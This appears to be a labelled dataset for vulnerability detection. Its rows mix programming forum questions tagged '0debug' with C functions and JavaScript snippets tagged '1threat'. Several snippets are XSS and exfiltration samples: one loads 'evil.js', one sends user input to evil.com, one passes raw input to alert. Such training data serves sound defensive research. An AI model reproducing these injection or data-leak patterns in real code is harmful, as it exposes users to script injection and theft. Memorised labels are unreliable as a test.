problem
stringlengths
26
131k
labels
class label
2 classes
Laravel: Where selection for Eloquent Eager Loading relationship : <p>I got two DB tables:</p> <p><strong>Posts</strong></p> <pre><code>$table-&gt;increments('id'); $table-&gt;integer('country_id')-&gt;unsigned(); $table-&gt;foreign('country_id')-&gt;references('id')-&gt;on('countries'); </code></pre> <p><strong>Cou...
0debug
ngIf angular and getting rid of components in Angular 6 : <p>I am trying to get rid of my header and footer components in just one specific component and don't know how to go about it. I am treating the app component as the index.html component. When I create a new component, these are always there and I need to figure...
0debug
Insufficient Memory error beng thrown : private void findManagerForSelectedDate(String dateSelected) { dateSelected = dateTimePicker1.Value.ToShortDateString(); List<String> managerNames = new List<String>(); foreach(var item in managers) { ...
0debug
How to find the median for an array of numbers for java? : <pre><code>public double median(){ double input =0; double answer =sum() * (input) / data.length; return answer; } </code></pre> <p>This is my code I have for median but it keeps returning as zero when I run the program. The array of numbers are: {3.0,...
0debug
how to define dynamic getelementbyid in code? : We can use this code to get id : document.getElementById("exampleid").value = 1; and for example page code is <input id="exampleid" value="" /> but we cannot use high code for this once . because id is different . <input id="exampleid2" value="...
0debug
Cywin64 - command not working as expected : The following command string will working fine in Cygwin32 but no longer works under Cygwin64. Does anyone have a clue why? All packages are installed as expected. $svn status | sort | cut -c2- | xargs cksum : No such file or directory I am running on Windows 7 x64 ...
0debug
How to use & after const string in c++ : virtual const string & getType() const = 0; What does & mean after const string? I am a newbie and trying to understand how basic c++ works.
0debug
document.write('<script src="evil.js"></script>');
1threat
static int ir2_decode_plane_inter(Ir2Context *ctx, int width, int height, uint8_t *dst, int pitch, const uint8_t *table) { int j; int out = 0; int c; int t; if (width & 1) for (j = 0; j < height; j++) { out = 0; while (out < widt...
1threat
Why redux store should be serializable? : <p>When reading the redux doc I found that the doc mentioned this:</p> <blockquote> <p>Still, you should do your best to keep the state serializable. Don't put anything inside it that you can't easily turn into JSON.</p> </blockquote> <p>So my question is, what's the ben...
0debug
YouTube video playback stopped due to unauthorized overlay on top of player.getting error : I have trouble using the YouTubePlayerSupportFragment inside a (Support)ViewPager. Everything works fine except when i come resume method youtube player playing few seconds, and then it will be paused. getting error .. ...
0debug
How to get android actionbar back button width programatically? : I am setting toolbar to my actionbar,but I have activities when I disable home button and the title in toolbar is not centrilized so I would like to get actionbar back button with programtically to set `toolbar.setContentInsetsAbsolute(0, 0);`
0debug
python text.count do no return the correct number of occurences : <p>I have a question regarding the text.count() function in python. Suppose I have the following text and I want to return the number of occurrences of "CCC":</p> <pre><code>text = "ACCCGTTGCCCC" print text.count("CCC") </code></pre> <p>why it returns ...
0debug
static int test_vector_fmul_add(AVFloatDSPContext *fdsp, AVFloatDSPContext *cdsp, const float *v1, const float *v2, const float *v3) { LOCAL_ALIGNED(32, float, cdst, [LEN]); LOCAL_ALIGNED(32, float, odst, [LEN]); int ret; cdsp->vector_fmul_add(cdst, v1, v2, v3, LE...
1threat
static inline void downmix_3f_1r_to_stereo(float *samples) { int i; for (i = 0; i < 256; i++) { samples[i] += (samples[i + 256] + samples[i + 768]); samples[i + 256] += (samples[i + 512] + samples[i + 768]); samples[i + 512] = samples[i + 768] = 0; } }
1threat
I dont want the users to log in two times from Wordpress and cakephp : <p>im developing a webapp using cakephp and i want to merge it with WordPress ,is there any solution that user will only login once (i dont want the users to log in two times.)</p>
0debug
static void encode_gray_bitstream(HYuvContext *s, int count){ int i; count/=2; if(s->flags&CODEC_FLAG_PASS1){ for(i=0; i<count; i++){ s->stats[0][ s->temp[0][2*i ] ]++; s->stats[0][ s->temp[0][2*i+1] ]++; } }else if(s->context){ for(i=0; i<...
1threat
static void ide_resize_cb(void *opaque) { IDEState *s = opaque; uint64_t nb_sectors; if (!s->identify_set) { return; } bdrv_get_geometry(s->bs, &nb_sectors); s->nb_sectors = nb_sectors; if (s->drive_kind == IDE_CFATA) { ide_cfata_identify_size(s); }...
1threat
React Native: JAVA_HOME is not set and no 'java' command could be found in your PATH : <p>I've followed step by step the official <a href="https://facebook.github.io/react-native/docs/getting-started.html" rel="noreferrer">Getting Started</a>. I started from a clean linux install and installed everything required as pe...
0debug
static void buffer_append(Buffer *buffer, const void *data, size_t len) { memcpy(buffer->buffer + buffer->offset, data, len); buffer->offset += len; }
1threat
def count_range_in_list(li, min, max): ctr = 0 for x in li: if min <= x <= max: ctr += 1 return ctr
0debug
If it is possible to focus the hidden input field : How to trigger the hidden input field when we click the parent element.When i use the hidden field is not worked. here is my html code: <table> <th colspan="2">Date</th> <td id="dateContainer" > currentData </td> <td><input id="thedate" type="te...
0debug
Flutter: animate item removal in ListView : <p>I am building a ListView from a Stream. I need to animate deletions and insertions to that list, but have no idea how.</p> <p>I have seen this sample by Flutter but it is not related to streams in any way: <a href="https://flutter.io/catalog/samples/animated-list/" rel="n...
0debug
static void decode_format80(const unsigned char *src, int src_size, unsigned char *dest, int dest_size, int check_size) { int src_index = 0; int dest_index = 0; int count; int src_pos; unsigned char color; int i; while (src_index < src_size) { av_dlog(NULL, " ...
1threat
how to allow use of a specific character - REGEX : <p>I'm actually using this code to check if my string have any special characters:</p> <pre><code>var regex = /[^\w\s!?]/g; if (regex.test(message)) { notify('error', 'Special characters are not allowed!'); return; } </code></pre> <p>but I want to allow '/' to...
0debug
static void tcg_out_op (TCGContext *s, TCGOpcode opc, const TCGArg *args, const int *const_args) { int c; switch (opc) { case INDEX_op_exit_tb: tcg_out_movi (s, TCG_TYPE_I64, TCG_REG_R3, args[0]); tcg_out_b (s, 0, (tcg_target_long) tb_ret_addr); brea...
1threat
How to replace string to anther string which can back to original using c# : I want to replace string to anther string which can back to original using c# For example If I entered > "XcXa$2A" then clicked on button, Output will be the following string: > "t6tYQA*" That's because for my example X re...
0debug
can anyone share experience find max date using jquery : how to get max date dates = [2016/11/10,2016/11/20,2016/11/30] here is code =============== var maxDate = new Date(Math.max.apply(null, dates)); but it is returning invalid date can anyine share any idea to find the maximum date
0debug
static uint64_t ahci_alloc(AHCIQState *ahci, size_t bytes) { return qmalloc(ahci->parent, bytes); }
1threat
static void qdev_prop_set_globals_for_type(DeviceState *dev, const char *typename) { GList *l; for (l = global_props; l; l = l->next) { GlobalProperty *prop = l->data; Error *err = NULL; if (strcmp(typename, prop->driver) != 0) { ...
1threat
Dynamic certificate pinning : <p>I have an iOS application that will be distributed to multiple customers, each using their own network infrastructure. I would like to add some certificate pinning capabilities, but I need to do it in a dynamic fashion since I cannot ship the app with the cert/pubkey bundled, as doing s...
0debug
static inline void gen_evmwumia(DisasContext *ctx) { TCGv_i64 tmp; if (unlikely(!ctx->spe_enabled)) { gen_exception(ctx, POWERPC_EXCP_APU); return; } gen_evmwumi(ctx); tmp = tcg_temp_new_i64(); gen_load_gpr64(tmp, rD(ctx->opcode)); tcg_gen_...
1threat
static void gen_spr_power8_tce_address_control(CPUPPCState *env) { spr_register(env, SPR_TAR, "TAR", &spr_read_generic, &spr_write_generic, &spr_read_generic, &spr_write_generic, 0x00000000); }
1threat
Can I create multiple canvas elements on same page using p5js : <p>I tried using p5js to draw some points it does work well but I also wanted another canvas element which can show the live video from camera. When I added another canvas element the first canvas goes blank. For now I tried using multiple javascript files...
0debug
static int vhost_sync_dirty_bitmap(struct vhost_dev *dev, MemoryRegionSection *section, hwaddr start_addr, hwaddr end_addr) { int i; if (!dev->log_enabled || !dev->started) { return 0; ...
1threat
Convert casual language to date : <p>I'm looking for a library for .NET which will take a date string like "two hours ago" or "3", meaning today at 3PM, and convert it to an actual date. <a href="https://github.com/Humanizr/Humanizer#humanize-datetime" rel="nofollow noreferrer">Humanizer</a> seems to do the opposite, t...
0debug
static void virtio_scsi_device_realize(DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIOSCSI *s = VIRTIO_SCSI(dev); static int virtio_scsi_id; Error *err = NULL; virtio_scsi_common_realize(dev, &err); if (err != NULL) { error_propagate(errp, err)...
1threat
static VirtIOSerialBus *virtser_bus_new(DeviceState *dev) { VirtIOSerialBus *bus; bus = FROM_QBUS(VirtIOSerialBus, qbus_create(&virtser_bus_info, dev, NULL)); bus->qbus.allow_hotplug = 1; return bus; }
1threat
int kvm_arch_init_vcpu(CPUX86State *env) { struct { struct kvm_cpuid2 cpuid; struct kvm_cpuid_entry2 entries[100]; } QEMU_PACKED cpuid_data; KVMState *s = env->kvm_state; uint32_t limit, i, j, cpuid_i; uint32_t unused; struct kvm_cpuid_entry2 *c; uint32_t signature[...
1threat
How do I sum across certain columns? : <p>I have a data frame called <code>df</code> that looks like this:</p> <pre><code>name score1 score2 score3 Joe 1 NA 3 Jane NA 2 3 </code></pre> <p>How do I make a column named <code>sum</code> that sums non-empty cells in <code>score1</code>, <code>score...
0debug
void isa_ne2000_init(int base, int irq, NICInfo *nd) { ISADevice *dev; qemu_check_nic_model(nd, "ne2k_isa"); dev = isa_create("ne2k_isa"); dev->qdev.nd = nd; qdev_prop_set_uint32(&dev->qdev, "iobase", base); qdev_prop_set_uint32(&dev->qdev, "irq", irq); qdev_init(&dev->qdev);...
1threat
void visit_type_uint8(Visitor *v, uint8_t *obj, const char *name, Error **errp) { int64_t value; if (!error_is_set(errp)) { if (v->type_uint8) { v->type_uint8(v, obj, name, errp); } else { value = *obj; v->type_int(v, &value, name, errp); ...
1threat
How to share my app developed in android studio : I made an app in Android Studio and I built it and developed an apk which is stored in debug folder so I copied that apk in my phone and installed it ,it is working good in my phone and I am able to share it too ..I tried through Xender and tried to install it on my f...
0debug
Should I create a module per component in Angular 4+ app? : <p>We have a medium sized Angular 4 application (+-150 components).</p> <p>Many of these components require the injection of service classes and require the declaration of other components in the app.</p> <p>An approach we have been experimenting with, and h...
0debug
Stopwatch and ReadKey doesn't work properly : I'm working on my multi threading password cracker, only numbers. It must show the how much time has passed to find the password. I used Stopwatch to find it, but in functions, stopwatch doesn't works.. here is my code using System; using System.Collections.G...
0debug
sPAPRTCETable *spapr_tce_new_table(DeviceState *owner, uint32_t liobn, size_t window_size) { sPAPRTCETable *tcet; if (spapr_tce_find_by_liobn(liobn)) { fprintf(stderr, "Attempted to create TCE table with duplicate" " LIOBN 0x%x\n", liobn); return NULL; } if (!...
1threat
Most efficient method to print "test"? : <p>To print something while consuming the least amount of resources.</p> <p>it can even be a <code>0</code> or <code>1</code> not necessarily <code>test</code></p> <pre><code>fputs("test",stdout); printf("%s", "test"); puts("test"); </code></pre> <p>Which one of the above com...
0debug
static int mov_read_trun(MOVContext *c, AVIOContext *pb, MOVAtom atom) { MOVFragment *frag = &c->fragment; AVStream *st = NULL; MOVStreamContext *sc; MOVStts *ctts_data; uint64_t offset; int64_t dts; int data_offset = 0; unsigned entries, first_sample_flags = frag->flags; i...
1threat
How get cpu cpuserial in python? : i write a program in python 3.6.2, i want get cpuserial.i wrote bellow program : def getserial(): # Extract serial from cpuinfo file cpuserial = "0000000000000000" try: f = open('/proc/cpuinfo','r') for line in f: if line[0:6]=...
0debug
alert('Hello ' + user_input);
1threat
Whats the Oracle equivalent of SELECT 'TEST' as MyColumn : <p>In MSSQL I can type into script editor and execute the following:</p> <pre><code>SELECT 'TEST' AS MyColumn </code></pre> <p>Which will output a single row containing TEST in a column called MyColumn</p> <p><a href="https://i.stack.imgur.com/ynH6a.png" rel...
0debug
How to find if type is float64 : <p>I am trying to find if a variable is of type float64: </p> <pre><code>package main import ("fmt") func main() { myvar := 12.34 if myvar.(type) == float64 { fmt.Println("Type is float64.") } } </code></pre> <p>However, it is not working and giving following erro...
0debug
Kotline : Recyclerview and Fragment Error E/RecyclerView: No adapter attached; skipping layout : <p>I create a recyclerview in activity and when I'm trying to incorporate Fragment it giving me <strong>"Error E/RecyclerView: No adapter attached; skipping layout"</strong></p> <p>My old sample Output <a href="https://i.s...
0debug
static uint64_t get_guest_rtc_ns(RTCState *s) { uint64_t guest_rtc; uint64_t guest_clock = qemu_clock_get_ns(rtc_clock); guest_rtc = s->base_rtc * NANOSECONDS_PER_SECOND + guest_clock - s->last_update + s->offset; return guest_rtc; }
1threat
how do i check 2 strings in an if statement : i have 2 strings stored in my data base which are longitude and latitude location of the device my app is installed on. i only want an activity to start once it reaches a certain location. i thought writing an if statement something like below but it wouldnt work. is there ...
0debug
static int cpu_x86_find_by_name(x86_def_t *x86_cpu_def, const char *cpu_model) { unsigned int i; x86_def_t *def; char *s = strdup(cpu_model); char *featurestr, *name = strtok(s, ","); uint32_t plus_features = 0, plus_ext_features = 0, plus_ext2_features = 0, plus_ext3_features = 0; uint...
1threat
How to Delete the cell value in a given range if it contains a string value using excel vba : Can anybody tell me how to delete the cells value in a given range if the cell value is String (Not a particular string, in general any String)
0debug
Enabling/Disabling Buttons via function/method (C#) : 1. I have 8 buttons, each performs a different task, i.e. edit, delete, create etc, and a context​Menu for each of the task 2. I've a table called *Moderations* in DB, which consists of bools i.e. groupTitle, canEdit, canDelete, canCreate..... groupTitle is strin...
0debug
Python http lib supporting CONNECT http verbs, header manipulation, and TLS/SSL : I am looking for a Python http lib supporting the CONNECT http verb, http header manipulation, and TLS/SSL support. Unfortunately requests/urllib don't support this (https://lukasa.co.uk/2013/07/Python_Requests_And_Proxies/). Trying t...
0debug
Looping over unique values : <p>I have a data frame in long format, with one observation row per measurement. I want to loop through each unique ID and find the "minimum" date for each unique individual. For example, patient 1 may be measured at three different times, but I want the earliest time. I thought about sorti...
0debug
RStudio installation failure under Debian sid: libgstreamer dependency problems : <p>I use Debian sid (amd64), rolling updates as often as weekly. I downloaded recently the desktop version 0.99.902 of RStudio from their offical site and issued (as root, of course):</p> <p>dpkg -i rstudio-0.99.902-amd64.deb</p> <p>to ...
0debug
The length of childNodes XML : <blockquote> <p>I have 2 same together,First: </p> </blockquote> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;p id="demo"&gt;&lt;/p&gt; &lt;script&gt; var x, i, xmlDoc; var txt = ""; var text = "&lt;book&gt;" + "&lt;title&gt;Ev...
0debug
Prolog recursive logic : I'm trying to implement a method to work as follows foo(5) = 5^4 + 4^3 + 3^2 + 2^1 + 1^0 = 701 using recursion. I've been trying to follow the logic but I keep getting errors. can someone guide me? (define (foo n) ; size-n problem ( cond ( (= (- n 1) 0 ) ; stopping condition ...
0debug
Is there any difference between return and raise an Exception? : <p>Consider the following code:</p> <pre><code> def f(x): if x &lt; 10: return Exception("error") else: raise Exception("error2") if __name__ == "__main__": try: f(5) ...
0debug
void ff_print_debug_info(MpegEncContext *s, Picture *p) { AVFrame *pict; if (s->avctx->hwaccel || !p || !p->mb_type) return; pict = &p->f; if (s->avctx->debug & (FF_DEBUG_SKIP | FF_DEBUG_QP | FF_DEBUG_MB_TYPE)) { int x,y; av_log(s->avctx,AV_LOG_DEBUG,"New frame, type:...
1threat
React testing library: The given element does not have a value setter when fireEvent change on input form : <p>I want to change the value of <a href="https://material-ui.com/components/text-fields/" rel="noreferrer">material UI</a> <code>TextField</code> in react testing library. I already set up the data-testid. Then ...
0debug
Can't install Django 2.0 by pip : <p>I am building new Django app with a new version of Django. I found Django 2.0 is available (2.0.2) <a href="https://www.djangoproject.com/download/" rel="noreferrer">https://www.djangoproject.com/download/</a>, and now trying to install it with pip.</p> <blockquote> <p>pip instal...
0debug
static void qmp_input_optional(Visitor *v, const char *name, bool *present) { QmpInputVisitor *qiv = to_qiv(v); QObject *qobj = qmp_input_get_object(qiv, name, false, NULL); if (!qobj) { *present = false; return; } *present = true; }
1threat
writing with python into a csv file with multiple lines in one cell : <p>im using writer.writerow(groupOfUsers) where groupOfUsers is a list of users ex: ['joe','john','jane'] i want all 3 names printed with a new line into one cell but with the current command it writes the 3 names into 3 different new rows</p> <p>i...
0debug
Convert List to Dataframe Python : data = open("state_towns.txt") for line in data: print(line) returns the following list: Colorado[edit] Alamosa (Adams State College)[2] Boulder (University of Colorado at Boulder)[12] Durango (Fort Lewis College)[2] Connecticut[edit] Fairfield (Fair...
0debug
Please help me with this assembly code : [![enter image description here][1]][1] [1]: https://i.stack.imgur.com/KQFZi.png I thought since condition is a >= 3, we should use jl (less) But the answer is jle (less or equal). It make no sense to me, please help, thank you
0debug
scala - declare list that holds anything? : In Scala, how do i declare a list that holds anything? List[Object] gets upset if I try and put a tuple in it, scala errors sayi type mismatch; found : java.util.List[Triple[Integer,Integer, Integer]] required: java.util.List[Object] Note: Triple[Integer,...
0debug
How to make vawe effect around the circle when clicked using CSS, HTML? : Can someone help me making vawe effect around the circle when circle is clicked. Here is GIF image of what I should achieve - http://g.recordit.co/lEhuqjj5tU.gif Thanks in advance!
0debug
Why is this reference not working/ valid? : <p>I'm learning referencing in C and here is my code:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { int x = 5; int &amp;ref = x; printf("%d\n", x); printf("%p\n", &amp;x); printf("%p\n", &amp;ref); return 0; } </code></pre> <p>Whe...
0debug
Software design consulting needed (Android Library Project) : - I have an App with my main Activity ("MainActivity") - I have a View in a "Android Project Library". I would like to use this view in several Apps, thats why I added this view in a library. - I can use the view from my App But now comes the problem....
0debug
Fullscreen the Exoplayer : <p>I try to show the show video (.mp4) with <strong>exoplayer</strong> in <strong>RecyclerView</strong> and <strong>ViewPager</strong>. I show the video controller with custom layout. so far so good.</p> <p>Now try to fullscreen the video like other video player how use before but can't find...
0debug
I have a problem when I install angular on terminal macOs : <p>I would like to install angular but when I type the command these error messages appear. Could someone help me? Thank you in advance. <a href="https://i.stack.imgur.com/RDxRm.png" rel="nofollow noreferrer">enter image description here</a></p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
static uint64_t vgafb_read(void *opaque, target_phys_addr_t addr, unsigned size) { MilkymistVgafbState *s = opaque; uint32_t r = 0; addr >>= 2; switch (addr) { case R_CTRL: case R_HRES: case R_HSYNC_START: case R_HSYNC_END: case R_HSCAN: c...
1threat
Select Mysql not return row when field is NULL and filter LIKE '%' : I have a table with a field: - field1 (Varchar(10)) Default NULL; When I run this sql: - SELECT * FROM table WHERE field1 LIKE '%'; That query does not return rows where Field1 IS NULL; Why NULL it is not considered as any value? What ...
0debug
Check if a number entered by the user with gets.chomp is a float in ruby : <p>I have looked for this a long time now and can't find a satisfactory answer. I wold like to know how can I check if the number entered by the user is a float. If is a float it is supposed to be an invalid number.</p> <p>I have something but...
0debug
Sitecore 8: MVC or Web Forms? : <p>I am new to Sitecore but I need to develop a all new Sitecore project. Although I have some experience with ASP.Net MVC and web form but I don't which is better for Sitecore 8.0.</p> <p>Here is the only related information that I found. <a href="https://www.cmssource.co.uk/blog/2013...
0debug
(Delphi) I set a button to add a bold line to a rich edit, but the first time I click the button it doesn't come out bold? : I have set a button to add a line(bold) to a rich edit, but the first time I click the button it doesn't come out bold? eg: line1, **line2**, **line3** Code: red1.SelAttributes.Style :=...
0debug
static void nvdimm_build_structure_dcr(GArray *structures, DeviceState *dev) { NvdimmNfitControlRegion *nfit_dcr; int slot = object_property_get_int(OBJECT(dev), PC_DIMM_SLOT_PROP, NULL); uint32_t sn = nvdimm_slot_to_sn(slot); nfit_dcr = acpi_data_push(stru...
1threat
how to get current location latitude and longitude using javascript : i am using below code in my project <script> var x=document.getElementById("demo"); function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition); ...
0debug
Oracle SQL developer select query on stored procedure with out parameters : I wrote Oracle stored procedure on oracle SQL developer with out parameters as below create or replace PROCEDURE "SYSLOCKDAILY" Is BEGIN select * from PDB2B_SYSTEMLOCKINFO where ISDAILY = 1 and active = 1 and ...
0debug
Return user Highest number and Unique number in table : <p>I has table user_data: <br> <a href="https://i.stack.imgur.com/MRGOB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MRGOB.png" alt="enter image description here"></a></p> <p>I want return user has Highest number and Unique number! <br> => U...
0debug
unit tests with SQL : i am doing a project software, working with data base and java code and in the unitys tests, we have to test the selects....i mean, the expectable is that the table that results from the selects, have to corresponde with the output in the intellij..... in a few words, how i compare a table ori...
0debug
static inline void gen_cond_branch(DisasContext *dc, int cond) { int l1; l1 = gen_new_label(); tcg_gen_brcond_tl(cond, cpu_R[dc->r0], cpu_R[dc->r1], l1); gen_goto_tb(dc, 0, dc->pc + 4); gen_set_label(l1); gen_goto_tb(dc, 1, dc->pc + (sign_extend(dc->imm16 << 2, 16))); dc->is_jmp = ...
1threat
Simplest way to validate string (Java) : <p>I want to check that a string meets the following criteria:</p> <ul> <li>Consists of exactly two words</li> <li>Each word contains only letters (A-Z and a-z), and is at least two letters long</li> <li>The two words are separated by exactly one space</li> </ul> <p>For exampl...
0debug
assembly character uppercase lowercase looping : i need help creating a program in assembly with ms-dos that will output something like this AbCdEfGhIjKl also vertically the closest thing i can make is something like AbCbEbGbH i don't know how to increment the in between stuff
0debug
static void blkverify_refresh_filename(BlockDriverState *bs) { BDRVBlkverifyState *s = bs->opaque; bdrv_refresh_filename(s->test_file->bs); if (bs->file->bs->full_open_options && s->test_file->bs->full_open_options) { QDict *opts = qdict_new(); qdict_put_obj(opt...
1threat
Can I invoke another form 's task : <p>in form1 , there are two functions , one for a button 's click event </p> <pre><code> private void bQuery_Click(object sender, EventArgs e) { string sPrefix = tbPrefix.Text.Trim(); QueryAll(sPrefix); } </code></pre> <p>another one is a task </p> <pr...
0debug
static int read_line(AVIOContext * pb, char* line, int bufsize) { int i; for (i = 0; i < bufsize - 1; i++) { int b = avio_r8(pb); if (b == 0) break; if (b == '\n') { line[i] = '\0'; return 0; } line[i] = b; } line[i...
1threat
void qemu_acl_reset(qemu_acl *acl) { qemu_acl_entry *entry; acl->defaultDeny = 1; QTAILQ_FOREACH(entry, &acl->entries, next) { QTAILQ_REMOVE(&acl->entries, entry, next); free(entry->match); free(entry); } acl->nentries = 0; }
1threat
int uuid_is_null(const uuid_t uu) { uuid_t null_uuid = { 0 }; return memcmp(uu, null_uuid, sizeof(uuid_t)) == 0; }
1threat
I want to save a MP4 Video from array list of frames : <p>i want to extract frames from a video and add effect in this frames then i want to save this frames as mp4 Video <a href="https://github.com/MuhammadNasser/VideoEffects/blob/master/app/src/main/java/com/example/mondy/videoeffects/MainActivity.java" rel="nofollo...
0debug
How to Send, Receive, and Print a File in Java? : <p>So, I've seen several of posts like this on Stackoverflow, but I am completely confused here after taking resources from like 10 posts. And the fact that I'm relatively new to Java isn't really helping. So, my goal is to get a file, convert it to a byte array, send t...
0debug
Tensorflow: Confusion regarding the adam optimizer : <p>I'm confused regarding as to how the adam optimizer actually works in tensorflow.</p> <p>The way I read the <a href="https://www.tensorflow.org/versions/r0.9/api_docs/python/train.html#AdamOptimizer" rel="noreferrer">docs</a>, it says that the learning rate is ch...
0debug
How to change First letter of each word to Uppercase in Textview xml : <p>i need to change the <strong>text="font roboto regular"</strong> to <strong>Font Roboto Regular</strong> in xml itself, how to do? </p> <pre><code>&lt;TextView android:layout_width="match_parent" android:layout_height="wrap_content" and...
0debug